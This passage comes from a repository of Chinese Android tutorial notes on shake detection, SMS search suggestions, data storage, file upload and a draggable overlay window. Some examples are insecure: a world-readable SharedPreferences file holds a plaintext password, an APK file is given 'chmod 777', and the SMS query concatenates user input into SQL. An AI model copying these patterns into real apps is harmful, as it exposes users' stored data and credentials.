//即使不摇晃的时候手机的传感器数值也会有细微的改变，我们不能让用户在买彩票的页面过一会就自动选彩票了，必须处理\n                //就是让微小的变动都变成0\n                if (ix < 1) {\n                    ix = 0;\n                }\n                if (iy < 1) {\n                    iy = 0;\n                }\n                if (iz < 1) {\n                    iz = 0;\n                }\n\n                shake = ix + iy + iz;// 如果手机静止不动，单次统计为零\n                //当判断用户没有摇动手机，所有值恢复初始状态\n                if (shake == 0) {\n                    init();\n                }\n\n                totalShake += shake;\n\n                if (totalShake > switchValue) {\n                    // 生产一注：双色球选号界面：机选双色球\n                    // 在福彩3D机选\n                    createLottery();\n                    // 告知用户：震动\n                    vibrator();\n                    // 回复到初始状态\n                    init();\n                } else {\n                    lastX = x;\n                    lastY = y;\n                    lastZ = z;\n                    lastTime = currentTime;\n                }\n\n            }\n        }\n    }\n\n    private void init() {\n        lastTime = 0;\n        lastX = 0;// 记录上一个点x轴的加速度值\n        lastY = 0;// 记录上一个点y轴的加速度值\n        lastZ = 0;// 记录上一个点z轴的加速度值\n\n        shake = 0;// 相对于上一个点增量\n        totalShake = 0;// 每次增量汇总\n    }\n\n    private void vibrator() {\n        vibrator = (Vibrator) context.getSystemService(Context.VIBRATOR_SERVICE);\n        vibrator.vibrate(100);\n    }\n\n    /**\n     * 生成一注彩票\n     */\n    public abstract void createLottery();\n}\n```\n\n----\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/搜索框.md",
    "content": "搜索框\n===\n\n1. 在res-xml中新建一个searchable.xml             \n\t```xml\n\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<searchable xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\t\tandroid:label=\"@string/sms_search\"\n\t\tandroid:hint=\"@string/sms_search\" \n\t\tandroid:searchSuggestAuthority=\"com.charon.MyProvider\"//自定义的Provider\n\t\tandroid:searchSuggestSelection=\" ?\" >\n\t</searchable>\n\t```\n \n2. 创建一个搜索的Activity，并且在清单文件中进行配置，这个Activity就是点击搜索结果后的页面(显示搜索结果的Activity)       \n\t```xml\n\t<activity android:name=\".SearchableActivity\" >\n            <intent-filter>\n                <action android:name=\"android.intent.action.SEARCH\" />\n            </intent-filter>\n            <meta-data\n                android:name=\"android.app.searchable\"\n                android:resource=\"@xml/searchable\" />\n        </activity>\n\t```\n\t**在这个Activity中的内容要这样**\n\t```java\n\tIntent intent = getIntent();\n\t//如果是从搜索开启的这个页面就获取到搜索框中输入的内容\n\tif (Intent.ACTION_SEARCH.equals(intent.getAction())) {  \n\t\t//获取到在搜索框中输入的内容      \n        String query = intent.getStringExtra(SearchManager.QUERY);    \n\t\t//执行搜索的方法 \n        doMySearch(query);   \n        Log.i(\"i\", \" query \" + query);\n\t}\n\t```\n \n3. 如何实现在输入框中输入内容后下面就立马提示相应的搜索结果呢？要通过Provider来操作\n\t```java\n\tpublic class MyProvider extends SearchRecentSuggestionsProvider {\n\t\t//指定查询的authority\n\t\tpublic final static String AUTHORITY = \"com.charon.MyProvider\";\n\t\t//指定数据库的操作是查询的方式\n\t\tpublic final static int MODE = DATABASE_MODE_QUERIES; \n\t\tpublic MySuggestionProvider() {\n\t\t\tsetupSuggestions(AUTHORITY, MODE);\n\t\t}\n\t\t\n\t\t//然后重写SearchRecentSuggestionsProvider中的方法，有增删改查四个方法\n\t\tprivate final static String[] sms_projection = new String[]{Sms._ID,Sms.ADDRESS,Sms.BODY};\n\t\t\n\t\tprivate final static String[] columnNames = new String[]{BaseColumns._ID,\n\t\t\tSearchManager.SUGGEST_COLUMN_TEXT_1,   //指定搜索自动提示的框的样式\n\t\t\tSearchManager.SUGGEST_COLUMN_TEXT_2,\n\t\t\tSearchManager.SUGGEST_COLUMN_QUERY};    //这个参数能够让点击某个搜索提示的时候自动让搜索内容变成点击的条目的内容\n\t\t\n\t\t@Override\n\t\tpublic Cursor query(Uri uri, String[] projection, String selection,\n\t\t\t\tString[] selectionArgs, String sortOrder) {\n\t\t\tif(selectionArgs != null){\n\t\t\t\tString query = selectionArgs[0]; \n\t\t\t\tif(TextUtils.isEmpty(query)){\n\t\t\t\t\treturn null;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tUri uri1 = Sms.CONTENT_URI;\n\t\t\t\tString where = Sms.BODY + \" like '%\" + query + \"%'\";\n\t\t\t\tCursor cursor = getContext().getContentResolver().query(uri1, sms_projection, where, null, Sms.DATE + \" desc \");\n\t\t\t\treturn changeCursor(cursor);\n\t\t\t}\n\t\t\treturn null;\n\t\t}\n\t\n\t\tprivate Cursor changeCursor(Cursor cursor){\n\t\t\tMatrixCursor result = new MatrixCursor(columnNames);\n\t\t\tif(cursor != null){\n\t\t\t\twhile(cursor.moveToNext()){\n\t\t\t\t\tObject[] columnValues = new Object[]{cursor.getString(cursor.getColumnIndex(Sms._ID)),\n\t\t\t\t\t\t\tcursor.getString(cursor.getColumnIndex(Sms.ADDRESS)),\n\t\t\t\t\t\t\tcursor.getString(cursor.getColumnIndex(Sms.BODY)),\n\t\t\t\t\t\t\tcursor.getString(cursor.getColumnIndex(Sms.BODY))};  //点击时候让内容变为短信内容\n\t\t\t\t\tresult.addRow(columnValues);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}\n\t```\n \n4. 为了让不管在哪个界面只要点击手机的搜索键都能够弹出我们的搜索(全局搜索)，需要在Application节点中去配置下面的meta-data\n\t```xml\n\t<!-- 指定我们要激活的是哪个SearchableActivity -->\n\t<meta-data\n\t\tandroid:name=\"android.app.default_searchable\"\n\t\tandroid:value=\".SearchableActivity\" />\n\t```\n\t\n5. 在Activtity中有一个onSearchRequested方法，执行此方法时能够激活搜索框，所以在点击搜索按钮时执行此方法即可\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n \n \n \n \n \n \n \n \n \n \n "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/数据存储.md",
    "content": "数据存储\n===\n\n## `Android`数据存储的几种形式\n\n1. `Internal Storage`           \n    `Store private data on the device memory.`         \n\t通过`mContext.getFilesDir()`来得到`data/data/包名/File`目录\n\t\n2. `External Storage`     \n\t`Store public data on the shared external storage.`    \n\t```java\n\tTextView tv = (TextView) findViewById(R.id.tv_sdsize);\n\tFile path = Environment.getExternalStorageDirectory();\n\tStatFs stat = new StatFs(path.getPath());\n\tlong blockSize = stat.getBlockSize();\n\tlong availableBlocks = stat.getAvailableBlocks();\n\tlong sizeAvailSize = blockSize * availableBlocks;\n\tString str = Formatter.formatFileSize(this, sizeAvailSize);\n\ttv.setText(str);\n\t```\n\t\n3. `SharedPreferences`         \n\t`Store private primitive data in key-value pairs.`     \n\t会在`data/data/包名/shared_prefes`里面去创建相应的`xml`文件，根节点是`Map`，其实内部就是将数据保存到`Map`集合中，\n\t然后将该集合中的数据写到`xml`文件中进行保存。\n\t```xml\n\t<map>\n\t\t<string name=\"password\">123</string>\n\t\t<boolean name=\"isLogin\" value=\"false\"/>\n\t</map>\n\t```\n\t\n\t```java\n\t//获取系统的一个sharedpreference文件  名字叫sp\n\tSharedPreferences sp = context.getSharedPreferences(\"sp\", Context.MODE_WORLD_READABLE+Context.MODE_WORLD_WRITEABLE);\n\t//创建一个编辑器 可以编辑 sp\n\tEditor editor = sp.edit();\n\teditor.putString(\"name\", name);\n\teditor.putString(\"password\", password);\n\teditor.putBoolean(\"boolean\", false);\n\teditor.putInt(\"int\", 8888);\n\teditor.putFloat(\"float\",3.14159f);\n\t//注意:调用 commit 提交 数据到文件.\n\teditor.commit();\n\t//editor.clear();\n\t```\n\t\n4. `SQLiteDatabase`    \n\t`Store structured data in a private database.`     \n\t`Android`平台中嵌入了一个关系型数据库`SQLite`，和其他数据库不同的是`SQLite`存储数据时不区分类型，例如一个字段声明为`Integer`类型，\n\t我们也可以将一个字符串存入，\n\t一个字段声明为布尔型，我们也可以存入浮点数。除非是主键被定义为`Integer`，这时只能存储64位整数创建数据库的表时可以不指定数据类型，例如：        \n\t```java\n\tCREATE TABLE person(id INTEGER PRIMARY KEY AUTOINCREMENT, name VARCHAR(20))  \n\tCREATE TABLE person(id INTEGER PRIMARY KEY AUTOINCREMENT, name)\n\t```\n\t\n\t`SQLite`支持大部分标准`SQL`语句，增删改查语句都是通用的，分页查询语句和`MySQL`相同     \n\t```java\n\tSELECT * FROM person LIMIT 20 OFFSET 10       \n\tSELECT * FROM person LIMIT 10,20    \n\tSELECT * FROM reading_history ORDER BY _id DESC LIMIT 3, 4\n\tDELETE FROM test WHERE _id IN (SELECT _id FROM test ORDER BY _id DESC LIMIT 3, 20)\n\t```\n\t\n\t`SQLite`数据库的使用\n\t\n\t- 继承`SQLiteOpenHelper`\n\t\t```java\n\t\tpublic class NoteSQLiteOpenHelper extends SQLiteOpenHelper {\n\t\t\t\t\t\t\t\n\t\t\t/**\n\t\t\t * name 数据库的名称 cursorfactory 游标工厂 一般设置null 默认游标工厂 version 数据库的版本\n\t\t\t * 版本号从1开始的\n\t\t\t * \n\t\t\t * @param context\n\t\t\t */\n\t\t\tpublic NoteSQLiteOpenHelper(Context context) {\n\t\t\t\tsuper(context, \"note.db\", null, 1);\n\t\t\t}\n\n\t\t\t/**\n\t\t\t * oncreate 方法 会在数据库第一创建的时候的是被调用 适合做数据库表结构的初始化\n\t\t\t */\n\t\t\t@Override\n\t\t\tpublic void onCreate(SQLiteDatabase db) {\n\t\t\t\tdb.execSQL(\"create table account (id integer primary key autoincrement , name  varchar(20), money varchar(20) )\");\n\t\t\t}\n\t\t\t\n\t\t\t@Override\n\t\t\tpublic void onUpgrade(SQLiteDatabase db, int arg1, int arg2) {\n\t\t\t\tdb.execSQL(\"DROP TABLE IF EXISTS \" + account);\n\t\t\t\tthis.onCreate(db);\n\t\t\t}\n\t\t}\n\t\t```\n\t\t\n\t- 获取\n\t\t```java\n\t\tpublic class NoteDao {\n\t\t\tprivate NoteSQLiteOpenHelper helper;\n\n\t\t\tpublic NoteDao(Context context) {\n\t\t\t\thelper = new NoteSQLiteOpenHelper(context);\n\t\t\t}\n\n\t\t\t/**\n\t\t\t * 添加一条账目信息 到数据库\n\t\t\t * \n\t\t\t * @param name\n\t\t\t *            花销的名称\n\t\t\t * @param money\n\t\t\t *            金额\n\t\t\t */\n\t\t\tpublic void add(String name, float money) {\n\t\t\t\tSQLiteDatabase db = helper.getWritableDatabase();\n\t\t\t\tdb.execSQL(\"insert into account (name,money) values (?,?)\",\n\t\t\t\t\t\tnew Object[] { name, money });\n\t\t\t\t// 记住 关闭.\n\t\t\t\tdb.close();\n\t\t\t}\n\n\t\t\tpublic void delete(int id) {\n\t\t\t\tSQLiteDatabase db = helper.getWritableDatabase();\n\t\t\t\tdb.execSQL(\"delete from account where id=?\", new Object[] { id });\n\t\t\t\tdb.close();\n\t\t\t}\n\n\t\t\tpublic void update(int id, float newmoney) {\n\t\t\t\tSQLiteDatabase db = helper.getWritableDatabase();\n\t\t\t\tdb.execSQL(\"update account set money =? where id=?\", new Object[] {\n\t\t\t\t\t\tnewmoney, id });\n\t\t\t\tdb.close();\n\t\t\t}\n\n\t\t\t/**\n\t\t\t * 返回数据库所有的条目\n\t\t\t * \n\t\t\t * @return\n\t\t\t */\n\t\t\tpublic List<NoteBean> findAll() {\n\t\t\t\t// 得到可读的数据库\n\t\t\t\tSQLiteDatabase db = helper.getReadableDatabase();\n\t\t\t\tList<NoteBean> noteBeans = new ArrayList<NoteBean>();\n\t\t\t\t// 获取到数据库查询的结果游标\n\t\t\t\tCursor cursor = db.rawQuery(\"select id,money,name from account \", null);\n\t\t\t\twhile (cursor.moveToNext()) {\n\t\t\t\t\tint id = cursor.getInt(cursor.getColumnIndex(\"id\"));\n\t\t\t\t\tString name = cursor.getString(cursor.getColumnIndex(\"name\"));\n\t\t\t\t\tfloat money = cursor.getFloat(cursor.getColumnIndex(\"money\"));\n\t\t\t\t\tNoteBean bean = new NoteBean(id, money, name);\n\t\t\t\t\tnoteBeans.add(bean);\n\t\t\t\t\tbean = null;\n\t\t\t\t}\n\n\t\t\t\tdb.close();\n\t\t\t\treturn noteBeans;\n\t\t\t}\n\n\t\t\t/**\n\t\t\t * 模拟一个转账的操作. 使用数据库的事务\n\t\t\t * \n\t\t\t * @throws Exception\n\t\t\t */\n\t\t\tpublic void testTransaction() throws Exception {\n\t\t\t\t// 得到可写的数据库\n\t\t\t\tSQLiteDatabase db = helper.getWritableDatabase();\n\t\t\t\tdb.beginTransaction(); // 开始事务\n\t\t\t\ttry {\n\t\t\t\t\tdb.execSQL(\"update account set money = money - 5 where id=? \",\n\t\t\t\t\t\t\tnew String[] { \"2\" });\n\t\t\t\t\tdb.execSQL(\"update account set money = money + 5 where id=? \",\n\t\t\t\t\t\t\tnew String[] { \"3\" });\n\t\t\t\t\tdb.setTransactionSuccessful();\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t// TODO: handle exception\n\t\t\t\t} finally {\n\t\t\t\t\tdb.endTransaction();//关闭事务.\n\t\t\t\t\tdb.close();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t```\n\t\t\n\t\t```java\n\t\tpublic class NoteDao2 {\n\t\t\tprivate NoteSQLiteOpenHelper helper;\n\n\t\t\tpublic NoteDao2(Context context) {\n\t\t\t\thelper = new NoteSQLiteOpenHelper(context);\n\t\t\t}\n\n\t\t\t/**\n\t\t\t * 添加一条账目信息 到数据库\n\t\t\t * \n\t\t\t * @param name\n\t\t\t *            花销的名称\n\t\t\t * @param money\n\t\t\t *            金额\n\t\t\t * \n\t\t\t * @return true 插入成功 false 失败\n\t\t\t */\n\t\t\tpublic boolean add(String name, float money) {\n\t\t\t\tSQLiteDatabase db = helper.getWritableDatabase();\n\t\t\t\tContentValues values = new ContentValues();\n\t\t\t\tvalues.put(\"name\", name);\n\t\t\t\tvalues.put(\"money\", money);\n\t\t\t\tlong rawid = db.insert(\"account\", null, values);\n\t\t\t\tdb.close();\n\t\t\t\tif (rawid > 0) {\n\t\t\t\t\treturn true;\n\t\t\t\t} else {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tpublic boolean delete(int id) {\n\t\t\t\tSQLiteDatabase db = helper.getWritableDatabase();\n\t\t\t\tint result = db.delete(\"account\", \"id=?\", new String[] { id + \"\" });\n\t\t\t\tdb.close();\n\t\t\t\tif (result > 0) {\n\t\t\t\t\treturn true;\n\t\t\t\t} else {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tpublic boolean update(int id, float newmoney) {\n\t\t\t\tSQLiteDatabase db = helper.getWritableDatabase();\n\t\t\t\tContentValues values = new ContentValues();\n\t\t\t\tvalues.put(\"id\", id);\n\t\t\t\tvalues.put(\"money\", newmoney);\n\t\t\t\tint result = db.update(\"account\", values, \"id=?\", new String[] { id\n\t\t\t\t\t\t+ \"\" });\n\t\t\t\tdb.close();\n\t\t\t\tif (result > 0) {\n\t\t\t\t\treturn true;\n\t\t\t\t} else {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/**\n\t\t\t * 返回数据库所有的条目\n\t\t\t * \n\t\t\t * @return\n\t\t\t */\n\t\t\tpublic List<NoteBean> findAll() {\n\t\t\t\t// 得到可读的数据库\n\t\t\t\tSQLiteDatabase db = helper.getReadableDatabase();\n\t\t\t\tList<NoteBean> noteBeans = new ArrayList<NoteBean>();\n\t\t\t\tCursor cursor = db.query(\"account\", new String[] { \"id\", \"name\",\n\t\t\t\t\t\t\"money\" }, null, null, null, null, null);\n\t\t\t\twhile (cursor.moveToNext()) {\n\t\t\t\t\tint id = cursor.getInt(cursor.getColumnIndex(\"id\"));\n\t\t\t\t\tString name = cursor.getString(cursor.getColumnIndex(\"name\"));\n\t\t\t\t\tfloat money = cursor.getFloat(cursor.getColumnIndex(\"money\"));\n\t\t\t\t\tNoteBean bean = new NoteBean(id, money, name);\n\t\t\t\t\tnoteBeans.add(bean);\n\t\t\t\t\tbean = null;\n\t\t\t\t}\n\t\t\t\tdb.close();\n\t\t\t\treturn noteBeans;\n\t\t\t}\n\t\t}\n\t\t```\n        \n5. `Network`      \n\t`Store data on the web with your own network server.`\n\n6. `/data/data/包名`下的apk在安装时提示解析失败。          \n    我们在更新或安装`apk`时一般将其放到外部存储设备中来进行安装，但是如果一个手机没有外部存储设备该怎么办呢？总不能就不给更新或者安装了。\n    可能你会觉得很简单啊，我用`mContext.getCacheDir()`或者`mContext.getFilesDir()`等获取内部路径，把`apk`放到这里面进行安装，但是你会发现安装\n    不了，提示解析失败。           \n    这是为什么呢？其实是权限的问题。安装应用的`app`是没有权限获取你应用的内部存储文件的，所以才会安装不上，那该怎么解决呢？\t答案就是修改权限。\n\t\n\t```java\n\ttry {\n\t\tInputStream is = getAssets().open(fileName);\n\t\tFile file;\n\t\tif (Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {\n\t\t\tfile = new File(Environment.getExternalStorageDirectory()\n\t\t\t\t\t+ File.separator + fileName);\n\t\t} else {\n\t\t\tfile = new File(mContext.getFilesDir()\n\t\t\t\t\t+ File.separator + fileName);\n\t\t\tString cmd = \"chmod 777 \" + file.getPath();\n\t\t\ttry {\n\t\t\t\tRuntime.getRuntime().exec(cmd);\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tfile.createNewFile();\n\t\tFileOutputStream fos = new FileOutputStream(file);\n\t\tbyte[] temp = new byte[1024];\n\t\tint i = 0;\n\t\twhile ((i = is.read(temp)) > 0) {\n\t\t\tfos.write(temp, 0, i);\n\t\t}\n\t\tfos.close();\n\t\tis.close();\n\n\t\tIntent intent = new Intent(Intent.ACTION_VIEW);\n\t\tintent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n\t\tintent.setDataAndType(Uri.parse(\"file://\" + file),\n\t\t\t\t\"application/vnd.android.package-archive\");\n\t\tstartActivity(intent);\n\t} catch (Exception e) {\n\t\tLogUtil.e(\"@@@\", e.toString());\n\t\te.printStackTrace();\n\t}\n\t```\n\n7. 清除缓存&清除数据    \n\t清除数据会清除`/data/data/`包名中的所有文件     \n\t清楚缓存会清楚`getCacheDir()`目录下的内容，也就是`/data/data/<当前应用程序包名>/cache/`\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/文件上传.md",
    "content": "文件上传\n===\n\n1. HttpClient模拟表单上传\n    如果`Android`中自带的`HttpClient`不能实现上传的功能，就下载`HttpClient 3.1`版本    \n\n    ```java\n\tpublic void upload(View view){\n        HttpClient client = new HttpClient();\n         PostMethod filePost = new PostMethod(\"http://192.168.1.100:8080/web/UploadServlet\");;\n        try {\n            String path = et_path.getText().toString().trim();\n            File file = new File(path);\n            if(file.exists()&&file.length()>0){\n                Part[] parts = {new StringPart(\"nameaaaa\", \"valueaaa\"), \n                      new StringPart(\"namebbb\", \"valuebbb\"), \n                      new FilePart(\"pic\", new File(file.getAbsolutePath()))};\n              filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));\n              client.getHttpConnectionManager().getParams()\n                  .setConnectionTimeout(5000);\n              int status = client.executeMethod(filePost);\n              if(status ==200){\n                  Toast.makeText(this, \"上传成功\", 1).show();\n              }else{\n                  Toast.makeText(this, \"上传失败\", 1).show();\n              }\n            }\n            else{\n                Toast.makeText(this, \"上传的文件不存在\", 0).show();\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            /**如果出现异常一定记得要释放*/\n            filePost.releaseConnection();\n        }\n    }\n    ```\n    \n2. 模拟Http请求上传\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/来电号码归属地提示框.md",
    "content": "来电号码归属地提示框\n===\n\n模仿Toast实现提示框\n---\n\nToast提示只要提示的时间够长，就可以浮动到其他任何界面之上，所以我们可以模仿Toast来实现来电号码归属地的提示框         \n\n1. WindowManager      \n    The interface that apps use to talk to the window manager. Use Context.getSystemService(Context.WINDOW_SERVICE) to get one of these.\n\tEach window manager instance is bound to a particular Display.\n\n    1. void addView(View view,ViewGroup.LayoutParams params)    \n\t\t将一个View视图显示到当前窗口，LayoutParams are used by views to tell their parents how they want to be laid out.\n\t\t\n    2. void removeView(View view);\n\t    将一个View视图从当前窗口中移除。\n\n\n2. 自定义窗体提示框(参考Toast源码)\n\t```java\n\tWindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE); \n\tView view = View.inflate(getApplicationContext(), R.layout.toast_location,\n\t\t\t\t\tnull); \n\tTextView tv = (TextView) view.findViewById(R.id.tv_toast_address);\n\ttv.setText(address);\n\tLayoutParams params = new LayoutParams();\n\tparams.height = WindowManager.LayoutParams.WRAP_CONTENT;\n\tparams.width = WindowManager.LayoutParams.WRAP_CONTENT;\n\tparams.gravity = Gravity.LEFT | Gravity.TOP;\n\tparams.x = sp.getInt(\"lastx\", 0);\n\tparams.y = sp.getInt(\"lasty\", 0);\n\t//本来还有一个FLAG_NOTUCHALBE为了让下面能触摸把这个给去掉了\n\tparams.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE  \n\t\t\t| WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON;\n\tparams.format = PixelFormat.TRANSLUCENT;\t//源码中这里是TYPE_TAOST但是这里为了下面要进行点击拖动事件，而Toast不能拖动，\n\t所以这里改成了TYPE_PRIORITY_PHONE,这是一个系统类型的提示框，使用这个提示框必须要申请权限,android.permission.SYSTEM_ALERT_WINDOW\n\tparams.type = WindowManager.LayoutParams.TYPE_PRIORITY_PHONE; \n\twm.addView(view, params); \n\t```\n\n3. WindowManager添加的显示框的简单拖动  \n    该这个View注册一个onTouchListener\n    ```java\n    public void showLocation(String address) {\n        view = View.inflate(getApplicationContext(), R.layout.toast_location,\n                null);\n        // 得到sp\n        int which = sp.getInt(\"which\", 0);\n        view.setBackgroundResource(bgs[which]);\n        view.setOnTouchListener(new OnTouchListener() {\n            int startX ,startY;\n\n            public boolean onTouch(View v, MotionEvent event) {\n                switch (event.getAction()) {\n                \n                case MotionEvent.ACTION_DOWN:\n                    Log.i(TAG,\"摸到\");\n                    startX = (int) event.getRawX();\n                    startY  = (int) event.getRawY();\n                    break;\n                case MotionEvent.ACTION_MOVE:\n                    Log.i(TAG,\"移动\");\n                    int newX = (int) event.getRawX();\n                    int newY  = (int) event.getRawY();\n                    int dx = newX - startX;\n                    int dy = newY - startY;\n                    params.x+=dx;\n                    params.y+=dy;\t//这里在WindowManager中不能够使用layout方法了，无效，只能使用layoutparams来更新位置，这里的params就是上面的那个params\n                    wm.updateViewLayout(view, params);\n                    //重新初始化 手指的位置\n                    startX = (int) event.getRawX();\n                    startY  = (int) event.getRawY();\n                    break;\n                }\n                return true;\n            }\n        });\n    }\n\t```\n\t\n4. 普通ImageView随手指拖动改变位置\n\t```java\n\tiv_drag_view.setOnTouchListener(new OnTouchListener() {\n\t\t//记录住最初手指按下时的位置\n\t\tint startX , startY; \n\t\t//onTouch方法的返回值如果是true监听器会把这个事件给消费掉, false则监听器不会消费掉这个事件\n\t\tpublic boolean onTouch(View v, MotionEvent event) {\n\t\t\tswitch (event.getAction()) {  \n\t\t\t\tcase MotionEvent.ACTION_DOWN:\n\t\t\t\t\tLog.i(TAG,\"摸到这个控件了\");\n\t\t\t\t\tstartX = (int) event.getRawX();//记录手指第一次点击到屏幕时候距离x和y轴的距离\n\t\t\t\t\tstartY = (int) event.getRawY();\n\t\t\t\tbreak;\n\t\t\t\tcase MotionEvent.ACTION_MOVE:// 手指在屏幕上移动的事件\n\t\t\t\t\tLog.i(TAG,\"移动\");\n\t\t\t\t\tint newX = (int) event.getRawX(); //在移动的过程中不断的获取到手指当前移动到的位置\n\t\t\t\t\tint newY = (int) event.getRawY();\n\t\t\t\t\tint dx = newX - startX;           //计算出手指移动了多少\n\t\t\t\t\tint dy = newY - startY;\n\t\t\t\t\tint l = iv_drag_view.getLeft(); //获取图片上下左右的长度\n\t\t\t\t\tint r = iv_drag_view.getRight();\n\t\t\t\t\tint b = iv_drag_view.getBottom();\n\t\t\t\t\tint t = iv_drag_view.getTop();\n\t\t\t\t\t\t\t\n\t\t\t\t\tint newl = l+dx; //计算图片应该移动的距离\n\t\t\t\t\tint newr = r+dx;\n\t\t\t\t\tint newt = t+dy;//imageview 在窗体中新的位置\n\t\t\t\t\tint newb = b+dy;\n\t\t\t\t\t\t\t\n\t\t\t\t\t//判断如果图片准备移动到的位置超出了屏幕就不让它移动,这里减去30是减去窗体上面的状态栏的高度\n\t\t\t\t\tif(newl<0||newt < 0 ||newb>display.getHeight()-30||newr>display.getWidth()){\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}            \n\t\t\t\t\t//将图片移动到新的位置。直接调用ImageView的layout方法\n\t\t\t\t\tiv_drag_view.layout(newl,  newt, newr, newb); \n\t\t\t\t\t//一旦图片移动到新的位置就重新计算手指当前的位置，这样循环下去就能实现随着手指的拖动\n\t\t\t\t\tstartX = (int) event.getRawX();\n\t\t\t\t\tstartY = (int) event.getRawY();\n\t\t\t\tbreak;\n\t\t\t\tcase MotionEvent.ACTION_UP: // 手指在离开屏幕的一瞬间对应的事件.\n\t\t\t\tLog.i(TAG,\"放手\");\n\t\t\t\tint lasty = iv_drag_view.getTop();//得到最后在离屏幕上方的距离\n\t\t\t\tint lastx = iv_drag_view.getLeft();//得到最后离屏幕左边的距离\n\t\t\t\tEditor editor = sp.edit();\n\t\t\t\teditor.putInt(\"lastx\", lastx);\n\t\t\t\teditor.putInt(\"lasty\", lasty);\n\t\t\t\teditor.commit();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\treturn true; //这地方一定要返回true告诉系统这个事件做完了\n\t\t}\n\t});\n\t```\n\n    **注意：在onCreate方法中使用layout方法是没有效果的，因为在进入一个Activity中系统首先会执行一个计算的操作，计算各个控件的布局，然后调用setContentView方法显示出来这个控件，第二步才会执行这个layout方法，但是在onCreate方法中设置了layout，在执行layout这段代码的时候，窗体有可能还没有计算完控件的布局，所以先执行了这个layout，然后又执行了计算控件布局来显示，这样layout就没效了，这里要怎么弄呢只能是通过设置这个控件的layout布局，这样在计算位置的时候就能计算了，这样设置布局能让它在计算的时候就计算了。如下，在onCreate方法中去这样设置。**\n    \n\t```java\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        sp = getSharedPreferences(\"config\", MODE_PRIVATE);\n        // Have the system blur any windows behind this one.\n        getWindow().setFlags(WindowManager.LayoutParams.FLAG_BLUR_BEHIND,\n                WindowManager.LayoutParams.FLAG_BLUR_BEHIND);\n        wm = (WindowManager) getSystemService(WINDOW_SERVICE);//窗体管理者\n        display = wm.getDefaultDisplay();\n        \n        setContentView(R.layout.activity_drag_view);\n        tv_drag_view = (TextView) findViewById(R.id.tv_drag_view);\n        iv_drag_view = (ImageView) findViewById(R.id.iv_drag_view);\n        \n        int lastx = sp.getInt(\"lastx\", 0);\n        int lasty = sp.getInt(\"lasty\", 0);\n        \n        RelativeLayout.LayoutParams params = (LayoutParams) iv_drag_view.getLayoutParams();\n        params.leftMargin = lastx;\n        params.topMargin = lasty;\n        iv_drag_view.setLayoutParams(params); \n\t}\n\t```\n\t\n\t**注意：在WindowManager中要想更新控件的距离就不能用layout方法了，只能用mWindowManager.updateViewLayout(view, params);**\n\t\n5. 实现双击事件\n\n\t1. 双击的定义\n\t\tAndroid中没有提供双击的点击事件，双击就是单位时间内的两次点击\n\n\t2. 触摸和点击事件的区别\n\t\t点击事件: 一组动作的集合 点击 -  停留 - 离开.\n\t\t触摸事件: 手指按下屏幕 手指在屏幕上移动 手指离开屏幕的一瞬间       \n\n\t```java\n\tpublic class DragViewActivity extends Activity {\n\t\tprotected static final String TAG = \"DragViewActivity\";\n\t\tprivate ImageView iv_drag_view;\n\t\tprivate TextView tv_drag_view;\n\t\tprivate SharedPreferences sp;\n\n\t\tprivate WindowManager wm;\n\t\tprivate Display  display; //窗体的显示的分辨率\n\n\t\tprivate long firstClickTime;//第一次点击时候的事件\n\n\t\t@Override\n\t\tprotected void onCreate(Bundle savedInstanceState) {\n\t\t\tsuper.onCreate(savedInstanceState);\n\t\t\tsp = getSharedPreferences(\"config\", MODE_PRIVATE);\n\t\t\t// Have the system blur any windows behind this one.\n\t\t\tgetWindow().setFlags(WindowManager.LayoutParams.FLAG_BLUR_BEHIND,\n\t\t\t\t\tWindowManager.LayoutParams.FLAG_BLUR_BEHIND);\n\t\t\twm = (WindowManager) getSystemService(WINDOW_SERVICE);//窗体管理者\n\t\t\tdisplay = wm.getDefaultDisplay();\n\n\t\t\tsetContentView(R.layout.activity_drag_view);\n\t\t\ttv_drag_view = (TextView) findViewById(R.id.tv_drag_view);\n\t\t\tiv_drag_view = (ImageView) findViewById(R.id.iv_drag_view);\n\n\t\t\tint lastx = sp.getInt(\"lastx\", 0);\n\t\t\tint lasty = sp.getInt(\"lasty\", 0);\n\n\t\t\tRelativeLayout.LayoutParams params = (LayoutParams) iv_drag_view.getLayoutParams();\n\t\t\tparams.leftMargin = lastx;\n\t\t\tparams.topMargin = lasty;\n\t\t\tiv_drag_view.setLayoutParams(params);\n\n\t\t\tiv_drag_view.setOnClickListener(new OnClickListener() {\n\n\t\t\t\tpublic void onClick(View v) {\n\t\t\t\t\tLog.i(TAG,\"被点击了.\");\n\t\t\t\t\tif(firstClickTime>0){//说明这是第二次点击.\n\t\t\t\t\t\tlong secondTime = System.currentTimeMillis();\n\t\t\t\t\t\tlong dtime = secondTime - 